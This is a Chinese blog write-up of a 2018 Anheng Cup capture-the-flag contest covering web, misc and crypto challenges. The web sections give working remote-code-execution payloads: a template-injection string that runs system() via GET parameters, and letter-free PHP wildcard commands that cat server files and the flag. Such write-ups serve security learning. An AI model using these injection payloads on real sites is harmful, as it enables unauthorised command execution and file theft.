sky's blog

2018安恒杯 9月月赛Writeup

字数统计: 1,266阅读时长: 6 min
2018/09/24 Share
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文章首发于安全客 https://www.anquanke.com/post/id/160582

Web1

首先弱密码爆进后台

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admin
admin123

看到突兀的字体

一看就是出题人留下的了
探寻了一遍功能
发现添加图片处也有这种字体

很容易联想到漏洞点,于是开始代码审计
下载

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http://101.71.29.5:10013/web/You_Cant_Guess.zip

定位到图片位置

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public function actionShow(){
$template = '<h1>图片内容为:</h1>图片ID:{cms:id}<br>图片名称:{cms:name}<br>图片地址:{cms:pic}';
if (isset($_GET['id'])) {
$model = new Content();
$res = $model->find()->where(['id' =>intval($_GET['id'])])->one();
$template = str_replace("{cms:id}",$res->id,$template);
$template = str_replace("{cms:name}",$res->name,$template);
$template = str_replace("{cms:pic}",$res->url,$template);
$template = $this->parseIf($template);
echo $template;
}else{
return json_encode(['error'=>'id error!']);
}
}

跟进函数parseIf

参考文章

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https://www.anquanke.com/post/id/153402

我们添加图片为

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skysec
{if:1)$GLOBALS['_G'.'ET'][sky]($GLOBALS['_G'.'ET'][cool]);die();//}{end if}

然后访问

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http://101.71.29.5:10013/web/index.php?r=content%2Fshow&id=1919&sky=system&cool=ls

即可列目录

拿flag即可

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flag{65bb1dd503d2a682b47fde40571598f4}

Web2

拿到题目

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http://101.71.29.5:10014/

代码如下

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<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

发现字母啥都被过滤了,第一反应就是通配符,容易想到

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/???/??? => /bin/cat

那么构造

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$_=`/???/???%20/???/???/????/?????.???`;?><?=$_?>
"/bin/cat /var/www/html/index.php"

长度超过了上限
参考这篇文章

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https://www.anquanke.com/post/id/154284

使用*通配

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$_=`/???/???%20/???/???/????/*`;?><?=$_?>

但是没有$和_
改进为

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?><?=`/???/???%20/???/???/????/*`?>

得到

发现关键点

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function getFlag(){
$flag = file_get_contents('/flag');
echo $flag;
}

我们直接读flag文件就好

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?><?=`/???/???%20/????`;?>


得到flag

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flag{aa5237a5fc25af3fa07f1d724f7548d7}

Misc1

下载用winrar打开

很明显的长度为6的CRC32
我们用工具爆破一下



得到压缩包密码

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forum_91ctf_com_66

解密后得到

我们n2s转成字符串,得到


扫描得到flag

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flag{owid0-o91hf-9iahg}

Misc2

拿到题目是张图片,binwalk跑了一下发现了压缩包

提取出来需要密码解压,尝试了各种方法,最后竟然是修改图片高度,太脑洞了吧???

将原来的044C改为04FF,即可

解压后得到一个压缩包,本能的导出html对象

浏览一遍,发现可疑字符串,解base64,得到flag

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flag{Oz_4nd_Hir0_lov3_For3ver}

Crypto1

这题略带脑洞,解压出的密文为

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ilnllliiikkninlekile

长度为20

并且发现提示

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The length of this plaintext: 10

密文长度是明文的2倍,然后密文只有5个字母出现,本能想到多表加密,但是不知道表的边缘的排序方式
例如:

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ilnke
iklne
.....

因为排序规则不同,就涉及对应的字母不同,所以这里我选择爆破一发

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import itertools

key = []
cipher = "ilnllliiikkninlekile"

for i in itertools.permutations('ilnke', 5):
key.append(''.join(i))

for now_key in key:
solve_c = ""
res = ""
for now_c in cipher:
solve_c += str(now_key.index(now_c))
for i in range(0,len(solve_c),2):
now_ascii = int(solve_c[i])*5+int(solve_c[i+1])+97
if now_ascii>ord('i'):
now_ascii+=1
res += chr(now_ascii)
if "flag" in res:
print now_key,res

得到结果

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linke flagishere
linek flagkxhdwd

一看就是第一个,结果交了不对。。。
后来发现要交md5,得到flag

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flag{eedda7bea3964bfb288ca6004a973c2a}

Crypto2

拿到题目

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#!/usr/bin/env python
# -*- coding:utf-8 -*-
from Crypto.Cipher import AES
from Crypto import Random

def encrypt(data, password):
bs = AES.block_size
pad = lambda s: s + (bs - len(s) % bs) * chr(bs - len(s) % bs)
iv = "0102030405060708"
cipher = AES.new(password, AES.MODE_CBC, iv)
data = cipher.encrypt(pad(data))
return data

def decrypt(data, password):
unpad = lambda s : s[0:-ord(s[-1])]
iv = "0102030405060708"
cipher = AES.new(password, AES.MODE_CBC, iv)
data = cipher.decrypt(data)
return unpad(data)

def generate_passwd(key):
data_halt = "LvR7GrlG0A4WIMBrUwTFoA==".decode("base64")
rand_int = int(decrypt(data_halt, key).encode("hex"), 16)
round = 0x7DC59612
result = 1
a1 = 0
while a1 < round:
a2 = 0
while a2 < round:
a3 = 0
while a3 < round:
result = result * (rand_int % 0xB18E) % 0xB18E
a3 += 1
a2 += 1
a1 += 1
return encrypt(str(result), key)


if __name__ == '__main__':

key = raw_input("key:")

if len(key) != 32:
print "check key length!"
exit()
passwd = generate_passwd(key.decode("hex"))

flag = raw_input("flag:")

print "output:", encrypt(flag, passwd).encode("base64")

# key = md5(sha1("flag"))
# output = "u6WHK2bnAsvTP/lPagu7c/K3la0mrveKrXryBPF/LKFE2HYgRNLGzr1J1yObUapw"

我们不难看出这题的难点应该在于generate_passwd()了吧,加解密函数都给你写好了,调用就行,我们仔细观察这个generate_passwd()

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def generate_passwd(key):
data_halt = "LvR7GrlG0A4WIMBrUwTFoA==".decode("base64")
rand_int = int(decrypt(data_halt, key).encode("hex"), 16)
round = 0x7DC59612
result = 1
a1 = 0
while a1 < round:
a2 = 0
while a2 < round:
a3 = 0
while a3 < round:
result = result * (rand_int % 0xB18E) % 0xB18E
a3 += 1
a2 += 1
a1 += 1
return encrypt(str(result), key)

看起来很复杂,还有3层循环,但仔细抓住result,发现其值一定小于0xB18E
那么爆破即可

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output = "u6WHK2bnAsvTP/lPagu7c/K3la0mrveKrXryBPF/LKFE2HYgRNLGzr1J1yObUapw"
key = md5(sha1("flag"))
for result in range(0xB18E):
passwd = generate_passwd(key.decode("hex"),result)
r = decrypt(output.decode("base64"), passwd)
if 'flag' in r:
print r

拿到flag

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flag{552d3a0e567542d99694c4d61d1a652e}

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CATALOG
  1. 1. Web1
  2. 2. Web2
  3. 3. Misc1
  4. 4. Misc2
  5. 5. Crypto1
  6. 6. Crypto2